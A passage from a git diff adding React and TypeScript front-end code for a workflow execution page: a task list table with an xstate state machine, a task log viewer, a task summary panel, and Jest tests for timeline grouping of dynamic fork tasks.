minWidth: "100px", + maxWidth: "200px", + tooltip: "The Task type", + }, + { + id: "scheduledTime", + name: "scheduledTime", + type: ColumnCustomType.DATE, + label: "Scheduled Time", + minWidth: MIN_DATE_WIDTH, + maxWidth: MIN_DATE_WIDTH, + tooltip: "The time the task was scheduled to run", + }, + { + id: "startTime", + name: "startTime", + type: ColumnCustomType.DATE, + label: "Start Time", + minWidth: MIN_DATE_WIDTH, + maxWidth: MIN_DATE_WIDTH, + tooltip: "The time the task started running", + }, + { + id: "endTime", + name: "endTime", + type: ColumnCustomType.DATE, + label: "End Time", + minWidth: MIN_DATE_WIDTH, + maxWidth: MIN_DATE_WIDTH, + tooltip: "The time the task ended running", + }, + { + id: "executionTime", + name: "executionTime", + label: "Execution Time", + minWidth: "100px", + maxWidth: "200px", + renderer: (_: unknown, { startTime, endTime }: ExecutionTask) => + startTime && endTime ? calculateDifferentTime(startTime, endTime) : "", + sortFunction: customSortForExecutionTime, + tooltip: "The time the task took to run", + }, + { + id: "status", + name: "status", + grow: 0.5, + label: "Status", + minWidth: "120px", + maxWidth: "150px", + renderer: (status: SelectableStatus) => , + tooltip: "The status of the task", + }, + { + id: "updateTime", + name: "updateTime", + type: ColumnCustomType.DATE, + label: "Update Time", + tooltip: "The time the task was last updated", + }, + { + id: "callbackAfterSeconds", + name: "callbackAfterSeconds", + label: "Callback", + tooltip: "The time the task should callback", + }, + { + id: "pollCount", + name: "pollCount", + label: "Poll Count", + tooltip: "The number of times the task has been polled", + }, + ]; + + return ( + + + , + ]} + columns={taskDetailFields as LegacyColumn[]} + progressPending={isFetching} + onChangePage={(page: number) => handleChangePage!(page)} + onChangeRowsPerPage={(newPerPage: number, _page: number) => + handleChangeRowsPerPage!(newPerPage) + } + defaultShowColumns={[ + "seq", + "taskId", + "referenceTaskName", + "taskType", + "startTime", + "endTime", + "executionTime", + "scheduledTime", + "status", + ]} + pagination + hideSearch + paginationServer + paginationPerPage={rowsPerPage} + paginationRowsPerPageOptions={[20, 50, 100]} + paginationTotalRows={totalHits} + localStorageKey="taskListTable" + sortByDefault={false} + /> + + + ); +}; diff --git a/ui-next/src/pages/execution/TaskList/index.ts b/ui-next/src/pages/execution/TaskList/index.ts new file mode 100644 index 0000000..0b50570 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/index.ts @@ -0,0 +1,2 @@ +export * from "./TaskList"; +export * from "./state"; diff --git a/ui-next/src/pages/execution/TaskList/state/actions.ts b/ui-next/src/pages/execution/TaskList/state/actions.ts new file mode 100644 index 0000000..b51ebd9 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/state/actions.ts @@ -0,0 +1,46 @@ +import { assign, DoneInvokeEvent } from "xstate"; +import { + TaskListMachineContext, + StatusFilterChangeEvent, + TaskListPageResponse, + NextPageEvent, + ChangeRowsPerPageEvent, + SendSelectionToParentEvent, +} from "./types"; +import { RightPanelContextEventTypes } from "pages/execution/RightPanel"; +import { sendParent } from "xstate/lib/actions"; + +export const persistTaskListPage = assign< + TaskListMachineContext, + DoneInvokeEvent +>({ + taskList: (_context: TaskListMachineContext, { data }) => data.results, + totalHits: (_context: TaskListMachineContext, { data }) => data.totalHits, + summary: (_context: TaskListMachineContext, { data }) => data.summary, +}); + +export const persistFilterStatus = assign< + TaskListMachineContext, + StatusFilterChangeEvent +>({ + filterStatus: (_context, { status }) => status, +}); + +export const persistNextPage = assign({ + startIndex: ({ rowsPerPage = 15 }, { page }) => (page - 1) * rowsPerPage, +}); + +export const persistRowPerPage = assign< + TaskListMachineContext, + ChangeRowsPerPageEvent +>({ + rowsPerPage: (__, { rowsPerPage }) => rowsPerPage, +}); + +export const selectTask = sendParent< + TaskListMachineContext, + SendSelectionToParentEvent +>((__, { selectedTask }) => ({ + type: RightPanelContextEventTypes.SET_SELECTED_TASK, + selectedTask, +})); diff --git a/ui-next/src/pages/execution/TaskList/state/hook.ts b/ui-next/src/pages/execution/TaskList/state/hook.ts new file mode 100644 index 0000000..50313cd --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/state/hook.ts @@ -0,0 +1,62 @@ +import { useActor, useSelector } from "@xstate/react"; +import { ActorRef } from "xstate"; +import { + SelectableStatus, + TaskListMachineEvents, + TaskListMachineEventTypes, +} from "./types"; +import { ExecutionTask } from "types"; + +export const useTaskListActor = ( + taskListActor: ActorRef, +) => { + const [, send] = useActor(taskListActor); + + return [ + { + taskListPage: useSelector( + taskListActor, + (state) => state.context.taskList, + ), + statusFilter: useSelector( + taskListActor, + (state) => state.context.filterStatus, + ), + totalHits: useSelector(taskListActor, (state) => state.context.totalHits), + isFetching: useSelector(taskListActor, (state) => + state.matches("fetchForTasks"), + ), + rowsPerPage: useSelector( + taskListActor, + (state) => state.context.rowsPerPage, + ), + summary: useSelector(taskListActor, (state) => state.context.summary), + }, + { + handleChangeStatus: (status?: SelectableStatus[]) => { + send({ + type: TaskListMachineEventTypes.SET_STATUS_FILTER, + status, + }); + }, + handleChangePage: (page: number) => { + send({ + type: TaskListMachineEventTypes.NEXT_PAGE, + page, + }); + }, + handleChangeRowsPerPage: (rowsPerPage: number) => { + send({ + type: TaskListMachineEventTypes.CHANGE_ROWS_PER_PAGE, + rowsPerPage, + }); + }, + handleSelectTask: (selectedTask: ExecutionTask) => { + send({ + type: TaskListMachineEventTypes.SEND_SELECTION_TO_PARENT, + selectedTask, + }); + }, + }, + ]; +}; diff --git a/ui-next/src/pages/execution/TaskList/state/index.ts b/ui-next/src/pages/execution/TaskList/state/index.ts new file mode 100644 index 0000000..738f5d4 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/state/index.ts @@ -0,0 +1,3 @@ +export * from "./machine"; +export * from "./hook"; +export * from "./types"; diff --git a/ui-next/src/pages/execution/TaskList/state/machine.ts b/ui-next/src/pages/execution/TaskList/state/machine.ts new file mode 100644 index 0000000..3ac57f0 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/state/machine.ts @@ -0,0 +1,56 @@ +import { createMachine } from "xstate"; +import { TaskListMachineContext, TaskListMachineEventTypes } from "./types"; +import * as services from "./services"; +import * as actions from "./actions"; + +export const taskListMachine = () => + createMachine( + { + id: "taskListMachine", + predictableActionArguments: true, + initial: "fetchForTasks", + context: { + taskList: [], + startIndex: 0, + rowsPerPage: 15, + executionId: undefined, + authHeaders: undefined, + filterStatus: undefined, + totalHits: undefined, + }, + states: { + fetchForTasks: { + invoke: { + src: "fetchForTasksService", + onDone: { + target: "idle", + actions: ["persistTaskListPage"], + }, + }, + }, + idle: { + on: { + [TaskListMachineEventTypes.SET_STATUS_FILTER]: { + actions: ["persistFilterStatus"], + target: "fetchForTasks", + }, + [TaskListMachineEventTypes.NEXT_PAGE]: { + actions: ["persistNextPage"], + target: "fetchForTasks", + }, + [TaskListMachineEventTypes.CHANGE_ROWS_PER_PAGE]: { + actions: ["persistRowPerPage"], + target: "fetchForTasks", + }, + [TaskListMachineEventTypes.SEND_SELECTION_TO_PARENT]: { + actions: ["selectTask"], + }, + }, + }, + }, + }, + { + services, + actions: actions as any, + }, + ); diff --git a/ui-next/src/pages/execution/TaskList/state/services.ts b/ui-next/src/pages/execution/TaskList/state/services.ts new file mode 100644 index 0000000..ed99884 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/state/services.ts @@ -0,0 +1,39 @@ +import { queryClient } from "../../../../queryClient"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; +import { TaskListMachineContext } from "./types"; +import { logger } from "utils/logger"; +import { UrlOptions } from "utils/toMaybeQueryString"; +import qs from "qs"; +import _isEmpty from "lodash/isEmpty"; + +const fetchContext = fetchContextNonHook(); +const getQueryString = (content: any) => { + return _isEmpty(content) + ? "" + : `?${qs.stringify(content, { indices: false })}`; +}; + +export const fetchForTasksService = async ({ + authHeaders: headers, + executionId, + startIndex = 0, + rowsPerPage = 15, + filterStatus, +}: TaskListMachineContext) => { + const executionTasksPath = `/workflow/${executionId}/tasks${getQueryString({ + status: filterStatus, + count: rowsPerPage, + start: startIndex, + } as unknown as UrlOptions)}`; + logger.info("Will hit path to fetch for tasks ", executionTasksPath); + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, executionTasksPath], + () => fetchWithContext(executionTasksPath, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error("Fetching task list page", error); + return Promise.reject({ message: "Error fetching task list page" }); + } +}; diff --git a/ui-next/src/pages/execution/TaskList/state/types.ts b/ui-next/src/pages/execution/TaskList/state/types.ts new file mode 100644 index 0000000..6b63fc6 --- /dev/null +++ b/ui-next/src/pages/execution/TaskList/state/types.ts @@ -0,0 +1,54 @@ +import { DoneInvokeEvent } from "xstate"; +import { ExecutionTask, AuthHeaders, TaskStatus } from "types"; + +export type SelectableStatus = TaskStatus; +export type TaskListMachineContext = { + taskList: ExecutionTask[]; + startIndex: number; + rowsPerPage: number; + executionId?: string; + authHeaders?: AuthHeaders; + filterStatus?: SelectableStatus[]; + summary?: Record; + totalHits?: number; +}; + +export enum TaskListMachineEventTypes { + SET_STATUS_FILTER = "SET_STATUS_FILTER", + NEXT_PAGE = "NEXT_PAGE", + CHANGE_ROWS_PER_PAGE = "CHANGE_ROWS_PER_PAGE", + SEND_SELECTION_TO_PARENT = "SEND_SELECTION_TO_PARENT", +} + +export type StatusFilterChangeEvent = { + type: TaskListMachineEventTypes.SET_STATUS_FILTER; + status?: SelectableStatus[]; +}; + +export type NextPageEvent = { + type: TaskListMachineEventTypes.NEXT_PAGE; + page: number; +}; + +export type ChangeRowsPerPageEvent = { + type: TaskListMachineEventTypes.CHANGE_ROWS_PER_PAGE; + rowsPerPage: number; +}; + +export type SendSelectionToParentEvent = { + type: TaskListMachineEventTypes.SEND_SELECTION_TO_PARENT; + selectedTask: ExecutionTask; +}; + +export type TaskListPageResponse = { + results: ExecutionTask[]; + totalHits: number; + summary: Record; +}; + +export type TaskListMachineEvents = + | DoneInvokeEvent + | SendSelectionToParentEvent + | NextPageEvent + | ChangeRowsPerPageEvent + | StatusFilterChangeEvent; diff --git a/ui-next/src/pages/execution/TaskLogs.tsx b/ui-next/src/pages/execution/TaskLogs.tsx new file mode 100644 index 0000000..d4a45e5 --- /dev/null +++ b/ui-next/src/pages/execution/TaskLogs.tsx @@ -0,0 +1,103 @@ +import { Box } from "@mui/material"; +import { Input, Typography } from "components"; +import ClipboardCopy from "components/ui/ClipboardCopy"; +import { useMemo, useState } from "react"; +import { TaskLog } from "types"; +import { formatToDateTimeString } from "utils/date"; +import { ActorRef } from "xstate"; +import { RightPanelEvents } from "./RightPanel/state"; +import { useRightPanelActor } from "./RightPanel/state/hook"; + +export interface TaskLogsProps { + containerQueryState: any; + rightPanelActor: ActorRef; +} + +export default function TaskLogs({ + containerQueryState, + rightPanelActor, +}: TaskLogsProps) { + const [{ taskLogs }] = useRightPanelActor(rightPanelActor); + + const [filteredLogs, setFilteredLogs] = useState([]); + const [searchValue, setSearchValue] = useState(""); + + useMemo(() => { + setFilteredLogs(() => { + const tempSearchValue = searchValue.trim().toLowerCase(); + return ( + taskLogs?.reduce((result: TaskLog[], item: TaskLog) => { + const createdTimeString = formatToDateTimeString(item.createdTime); + + if ( + createdTimeString.includes(tempSearchValue) || + item.log?.toLowerCase()?.includes(tempSearchValue) + ) { + result.push({ + ...item, + createdTime: createdTimeString, + }); + } + + return result; + }, []) || [] + ); + }); + }, [searchValue, setFilteredLogs, taskLogs]); + + return ( + + {filteredLogs?.length > 0 && ( + `[${taskLog.createdTime}] ${taskLog.log}`) + .join("\n")} + sx={{ + mb: 1, + pr: 1, + }} + iconPlacement="start" + > + + Copy logs + + + )} + + + {filteredLogs?.length > 0 ? ( + + {filteredLogs.map((item: TaskLog, index) => ( + + [{item.createdTime} + ]  + {item.log} + + ))} + + ) : ( + + No logs available + + )} + + ); +} diff --git a/ui-next/src/pages/execution/TaskSummary.tsx b/ui-next/src/pages/execution/TaskSummary.tsx new file mode 100644 index 0000000..3058396 --- /dev/null +++ b/ui-next/src/pages/execution/TaskSummary.tsx @@ -0,0 +1,223 @@ +import _isFinite from "lodash/isFinite"; +import _get from "lodash/get"; +import { NavLink, KeyValueTable } from "components"; +import { Link, Paper } from "@mui/material"; +import { ExecutionTask, TaskType } from "types"; +import { ReactNode, useMemo } from "react"; + +interface TaskSummaryProps { + taskResult: ExecutionTask; +} + +type DataType = { + label: string; + value: ReactNode | string | number | null; + type?: string; +}; + +export default function TaskSummary({ taskResult }: TaskSummaryProps) { + const shouldDisplayEvaluatedCase = useMemo( + () => ["DECISION", "SWITCH"].includes(taskResult.taskType), + [taskResult.taskType], + ); + + // To accommodate unexecuted tasks, read type & name & ref out of workflowTask + const data = [ + { label: "Task type", value: taskResult.workflowTask.type }, + { + label: "Status", + value: taskResult.status || "Not executed", + type: "status", + }, + { label: "Task name", value: taskResult.workflowTask.name }, + { + label: "Task reference", + value: taskResult.workflowTask.taskReferenceName, + }, + ] as DataType[]; + + if (taskResult.domain) { + data.push({ label: "Domain", value: taskResult.domain }); + } + + if (taskResult.taskId) { + data.push({ label: "Task execution id", value: taskResult.taskId }); + } + + if (taskResult.correlationId) { + data.push({ label: "Correlation id", value: taskResult.correlationId }); + } + + if (_isFinite(taskResult.retryCount)) { + data.push({ label: "Retry count", value: taskResult.retryCount }); + } + + if (taskResult.scheduledTime) { + data.push({ + label: "Scheduled time", + value: taskResult.scheduledTime > 0 && taskResult.scheduledTime, + type: "date", + }); + } + if (taskResult.startTime) { + data.push({ + label: "Start time", + value: taskResult.startTime > 0 && taskResult.startTime, + type: "date", + }); + } + if (taskResult.endTime) { + data.push({ label: "End time", value: taskResult.endTime, type: "date" }); + } + if (taskResult.startTime && taskResult.endTime) { + data.push({ + label: "Duration", + value: + taskResult.startTime > 0 && taskResult.endTime - taskResult.startTime, + type: "duration", + }); + } + if (taskResult.reasonForIncompletion) { + const statusIndex = data.findIndex((item) => item.label === "Status"); + data.splice(statusIndex + 1, 0, { + label: "Reason for incompletion", + value: taskResult.reasonForIncompletion, + type: "error", + }); + } + if (taskResult.workerId) { + data.push({ + label: "Worker", + value: taskResult.workerId, + type: "workerId", + }); + } + if (taskResult.pollCount) { + data.push({ + label: "Poll count", + value: taskResult.pollCount, + }); + } + if (taskResult.seq) { + data.push({ + label: "Sequence", + value: taskResult.seq, + }); + } + if (taskResult.queueWaitTime) { + data.push({ + label: "Queue wait time", + value: taskResult.queueWaitTime, + }); + } + if (shouldDisplayEvaluatedCase) { + const caseOutput = taskResult.outputData?.caseOutput; + data.push({ + label: "Evaluated case", + value: caseOutput ? caseOutput[0] : null, + }); + } + if (taskResult?.inputData?.integrationName) { + data.push({ + label: "Integration name", + value: ( + + {taskResult.inputData?.integrationName} + + ), + }); + } + if (taskResult.workflowTask.type === TaskType.SUB_WORKFLOW) { + data.push({ + label: "Subworkflow definition", + value: ( + + {taskResult.inputData?.subWorkflowName} + + ), + }); + if (_get(taskResult, "outputData.subWorkflowId")) { + data.push({ + label: "Subworkflow id", + value: ( + + {taskResult.outputData?.subWorkflowId} + + ), + }); + } + } + + if ( + taskResult.workflowTask.type === TaskType.START_WORKFLOW && + taskResult.outputData?.workflowId + ) { + data.push({ + label: "Start workflow", + value: ( + + {`${window.location.origin}/execution/${taskResult.outputData?.workflowId}`} + + ), + }); + } + if ( + taskResult.workflowTask.type === TaskType.DYNAMIC && + taskResult.inputData?.taskToExecute === "SUB_WORKFLOW" + ) { + const { subWorkflowName } = taskResult.inputData ?? {}; + const { subWorkflowId } = taskResult.outputData ?? {}; + + if (subWorkflowName) { + data.push({ + label: "Subworkflow definition", + value: ( + + {subWorkflowName} + + ), + }); + } + if (subWorkflowId) { + data.push({ + label: "Subworkflow id", + value: ( + + {subWorkflowId} + + ), + }); + } + } + + return ( + + + + ); +} diff --git a/ui-next/src/pages/execution/Timeline.test.ts b/ui-next/src/pages/execution/Timeline.test.ts new file mode 100644 index 0000000..2164f09 --- /dev/null +++ b/ui-next/src/pages/execution/Timeline.test.ts @@ -0,0 +1,537 @@ +import { ExecutionTask } from "types/Execution"; +import { processTasksToGroupsAndItems } from "./timelineUtils"; + +// Helper function to create mock tasks +const createMockTask = (overrides = {}) => ({ + taskId: "task-1", + referenceTaskName: "task_ref", + status: "COMPLETED", + startTime: Date.now() - 1000, + endTime: Date.now(), + scheduledTime: null, + workflowTask: { + name: "Task Name", + taskReferenceName: "task_ref", + type: "SIMPLE", + }, + inputData: {}, + iteration: 0, + ...overrides, +}); + +// Helper function to create mock execution status map +const createMockExecutionStatusMap = (overrides = {}) => ({ + task_ref: { + related: null, + }, + ...overrides, +}); + +describe("Timeline Groups and Items Processing", () => { + describe("Basic Task Processing (Ideal Case)", () => { + it("should create groups and items for normal tasks", () => { + const tasks = [ + createMockTask({ + taskId: "task-1", + referenceTaskName: "task1_ref", + workflowTask: { + name: "Task 1", + taskReferenceName: "task1_ref", + type: "SIMPLE", + }, + }), + createMockTask({ + taskId: "task-2", + referenceTaskName: "task2_ref", + workflowTask: { + name: "Task 2", + taskReferenceName: "task2_ref", + type: "SIMPLE", + }, + }), + ]; + + const executionStatusMap = createMockExecutionStatusMap(); + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + executionStatusMap, + ); + + expect(groups).toHaveLength(2); + expect(_items).toHaveLength(2); + expect(groups[0].id).toBe("task1_ref"); + expect(groups[1].id).toBe("task2_ref"); + expect(_items[0].id).toBe("task-1"); + expect(_items[1].id).toBe("task-2"); + }); + + it("should set treeLevel based on executionStatusMap", () => { + const tasks = [ + createMockTask({ + referenceTaskName: "task1_ref", + workflowTask: { + taskReferenceName: "task1_ref", + type: "SIMPLE", + }, + }), + ]; + + const executionStatusMap = createMockExecutionStatusMap({ + task1_ref: { + related: "some_related_task", + }, + }); + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + executionStatusMap, + ); + + expect(groups).toHaveLength(1); + expect(groups[0].treeLevel).toBe(2); + }); + }); + + describe("FORK_JOIN_DYNAMIC - Ideal Case (Before Fix Would Work)", () => { + it("should set nestedGroups correctly when forkedTasks match group IDs exactly", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["child1", "child2"], + }, + }), + createMockTask({ + taskId: "child1-task", + referenceTaskName: "child1", + workflowTask: { + name: "Child 1", + taskReferenceName: "child1", + type: "SIMPLE", + }, + }), + createMockTask({ + taskId: "child2-task", + referenceTaskName: "child2", + workflowTask: { + name: "Child 2", + taskReferenceName: "child2", + type: "SIMPLE", + }, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(3); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + expect(forkGroup?.nestedGroups).toEqual(["child1", "child2"]); + }); + }); + + describe("FORK_JOIN_DYNAMIC - Fix Scenario (After Fix)", () => { + it("should map forkedTasks with iteration suffix when exact match not found", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["child1", "child2"], + }, + iteration: 2, + }), + createMockTask({ + taskId: "child1-task-2", + referenceTaskName: "child1__2", + workflowTask: { + name: "Child 1", + taskReferenceName: "child1", + type: "SIMPLE", + }, + iteration: 2, + }), + createMockTask({ + taskId: "child2-task-2", + referenceTaskName: "child2__2", + workflowTask: { + name: "Child 2", + taskReferenceName: "child2", + type: "SIMPLE", + }, + iteration: 2, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(3); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + // This is the key test - the fix should map "child1" to "child1__2" and "child2" to "child2__2" + expect(forkGroup?.nestedGroups).toEqual(["child1__2", "child2__2"]); + }); + + it("should handle multiple iterations correctly", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["child1", "child2"], + }, + iteration: 3, + }), + createMockTask({ + taskId: "child1-task-3", + referenceTaskName: "child1__3", + workflowTask: { + name: "Child 1", + taskReferenceName: "child1", + type: "SIMPLE", + }, + iteration: 3, + }), + createMockTask({ + taskId: "child2-task-3", + referenceTaskName: "child2__3", + workflowTask: { + name: "Child 2", + taskReferenceName: "child2", + type: "SIMPLE", + }, + iteration: 3, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(3); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + expect(forkGroup?.nestedGroups).toEqual(["child1__3", "child2__3"]); + }); + }); + + describe("FORK_JOIN_DYNAMIC - Mixed Scenario", () => { + it("should handle mix of exact matches and iteration suffixes", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["exact_match", "needs_suffix"], + }, + iteration: 2, + }), + createMockTask({ + taskId: "exact-match-task", + referenceTaskName: "exact_match", + workflowTask: { + name: "Exact Match", + taskReferenceName: "exact_match", + type: "SIMPLE", + }, + }), + createMockTask({ + taskId: "needs-suffix-task", + referenceTaskName: "needs_suffix__2", + workflowTask: { + name: "Needs Suffix", + taskReferenceName: "needs_suffix", + type: "SIMPLE", + }, + iteration: 2, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(3); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + // Should have exact match for "exact_match" and suffixed match for "needs_suffix" + expect(forkGroup?.nestedGroups).toEqual([ + "exact_match", + "needs_suffix__2", + ]); + }); + }); + + describe("FORK_JOIN_DYNAMIC - Missing Groups", () => { + it("should fallback to original taskId when neither exact nor suffixed ID exists", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["missing_task"], + }, + iteration: 2, + }), + // No matching tasks for "missing_task" or "missing_task__2" + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(1); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + // Should fallback to original taskId when neither exact nor suffixed ID exists + expect(forkGroup?.nestedGroups).toEqual(["missing_task"]); + }); + }); + + describe("Edge Cases", () => { + it("should handle empty tasks array", () => { + const [groups, _items] = processTasksToGroupsAndItems([], {}); + + expect(groups).toHaveLength(0); + expect(_items).toHaveLength(0); + }); + + it("should handle tasks without startTime or endTime", () => { + const tasks = [ + createMockTask({ + startTime: 0, + endTime: 0, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(1); + expect(_items).toHaveLength(0); // No items should be created when no start/end time + }); + + it("should handle FORK_JOIN_DYNAMIC without inputData.forkedTasks", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: {}, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(1); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + expect(forkGroup?.nestedGroups).toBeUndefined(); + }); + + it("should handle FORK_JOIN_DYNAMIC with null inputData", () => { + const tasks = [ + createMockTask({ + taskId: "fork-task-1", + referenceTaskName: "fork_ref", + workflowTask: { + name: "Fork Task", + taskReferenceName: "fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: null, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(1); + const forkGroup = groups.find((g) => g.id === "fork_ref"); + expect(forkGroup?.nestedGroups).toBeUndefined(); + }); + + it("should handle tasks with only startTime", () => { + const tasks = [ + createMockTask({ + startTime: Date.now() - 1000, + endTime: 0, + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(1); + expect(_items).toHaveLength(1); + expect(_items[0].start).toBeInstanceOf(Date); + expect(_items[0].end).toBeInstanceOf(Date); + }); + + it("should handle tasks with only endTime", () => { + const tasks = [ + createMockTask({ + startTime: 0, + endTime: Date.now(), + }), + ]; + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + {}, + ); + + expect(groups).toHaveLength(1); + expect(_items).toHaveLength(1); + expect(_items[0].start).toBeInstanceOf(Date); + expect(_items[0].end).toBeInstanceOf(Date); + }); + }); + + describe("Complex Real-world Scenario", () => { + it("should handle a complex workflow with multiple FORK_JOIN_DYNAMIC tasks and iterations", () => { + const tasks = [ + // Main fork task + createMockTask({ + taskId: "main-fork", + referenceTaskName: "main_fork_ref", + workflowTask: { + name: "Main Fork", + taskReferenceName: "main_fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["sub_task1", "sub_task2"], + }, + iteration: 1, + }), + // Sub fork task + createMockTask({ + taskId: "sub-fork", + referenceTaskName: "sub_fork_ref", + workflowTask: { + name: "Sub Fork", + taskReferenceName: "sub_fork_ref", + type: "FORK_JOIN_DYNAMIC", + }, + inputData: { + forkedTasks: ["nested_task1", "nested_task2"], + }, + iteration: 2, + }), + // Tasks with iteration suffixes + createMockTask({ + taskId: "sub-task1-1", + referenceTaskName: "sub_task1__1", + workflowTask: { + name: "Sub Task 1", + taskReferenceName: "sub_task1", + type: "SIMPLE", + }, + iteration: 1, + }), + createMockTask({ + taskId: "sub-task2-1", + referenceTaskName: "sub_task2__1", + workflowTask: { + name: "Sub Task 2", + taskReferenceName: "sub_task2", + type: "SIMPLE", + }, + iteration: 1, + }), + createMockTask({ + taskId: "nested-task1-2", + referenceTaskName: "nested_task1__2", + workflowTask: { + name: "Nested Task 1", + taskReferenceName: "nested_task1", + type: "SIMPLE", + }, + iteration: 2, + }), + createMockTask({ + taskId: "nested-task2-2", + referenceTaskName: "nested_task2__2", + workflowTask: { + name: "Nested Task 2", + taskReferenceName: "nested_task2", + type: "SIMPLE", + }, + iteration: 2, + }), + ]; + + const executionStatusMap = createMockExecutionStatusMap({ + main_fork_ref: { related: "some_parent" }, + sub_fork_ref: { related: "main_fork_ref" }, + }); + + const [groups, _items] = processTasksToGroupsAndItems( + tasks as unknown as ExecutionTask[], + executionStatusMap, + ); + + expect(groups).toHaveLength(6); + expect(_items).toHaveLength(6); + + // Test main fork nested groups + const mainForkGroup = groups.find((g) => g.id === "main_fork_ref"); + expect(mainForkGroup?.nestedGroups).toEqual([ + "sub_task1__1", + "sub_task2__1", + ]); + expect(mainForkGroup?.treeLevel).toBe(2); + + // Test sub fork nested groups + const subForkGroup = groups.find((g) => g.id === "sub_fork_ref"); + expect(subForkGroup?.nestedGroups).toEqual([ + "nested_task1__2", + "nested_task2__2", + ]); + expect(subForkGroup?.treeLevel).toBe(2); + }); + }); +}); diff --git a/ui-next/src/pages/execution/Timeline.tsx b/ui-next/src/pages/execution/Timeline.tsx new file mode 100644 index 0000000..da7df56 --- /dev/null +++ b/ui-next/src/pages/execution/Timeline.tsx @@ -0,0 +1,326 @@ +import ExpandIcon from "@mui/icons-material/Expand"; +import { Box, Tooltip, Typography } from "@mui/material"; +import { ZoomControlsButton } from "components/ZoomControlsButton"; +import _debounce from "lodash/debounce"; +import _first from "lodash/first"; +import _last from "lodash/last"; +import { useEffect, useMemo, useRef, useState } from "react"; +import Timeline from "react-vis-timeline"; +import { colors } from "theme/tokens/variables"; +import { ExecutionTask } from "types/Execution"; +import { formatDate } from "utils"; +import NoAnimRangeSlider from "./NoAnimRangeSlider"; +import { processTasksToGroupsAndItems } from "./timelineUtils"; + +import "./timeline.scss"; + +type ExecutionStatusMap = Record; + +const EMPTY_STATUS_MAP: ExecutionStatusMap = {}; + +interface VisMoment { + format: (formatStr: string) => string; +} + +interface TimelineComponentProps { + tasks: ExecutionTask[]; + onClick: (task: { ref: string; taskId: string }) => void; + selectedTask?: { taskId?: string } | null; + executionStatusMap?: ExecutionStatusMap; +} + +function valuetext(value: number): string { + return formatDate(value, "dd-MM-yyyy hh:mm:ss SSS"); +} + +export default function TimelineComponent({ + tasks, + onClick, + selectedTask, + executionStatusMap = EMPTY_STATUS_MAP, +}: TimelineComponentProps) { + const timelineRef = useRef(null); + + const handleChange = (_event: Event, newValue: number | number[]) => { + const range = newValue as number[]; + setRangeSliderValue(range); + timelineRef.current?.timeline.setWindow(range[0], range[1], { + animation: false, + }); + }; + + const selectedId: string | null = selectedTask?.taskId ?? null; + + const [groups, items] = useMemo(() => { + return processTasksToGroupsAndItems(tasks, executionStatusMap); + }, [tasks, executionStatusMap]); + + const handleClick = (e: { group: string; item: string; what: string }) => { + const { group, item, what } = e; + if (group && what !== "background") { + onClick({ + ref: group, + taskId: item, + }); + } + }; + + const currentTime = new Date(); + const minDate: Date = + items.length > 0 ? (_first(items)?.start ?? 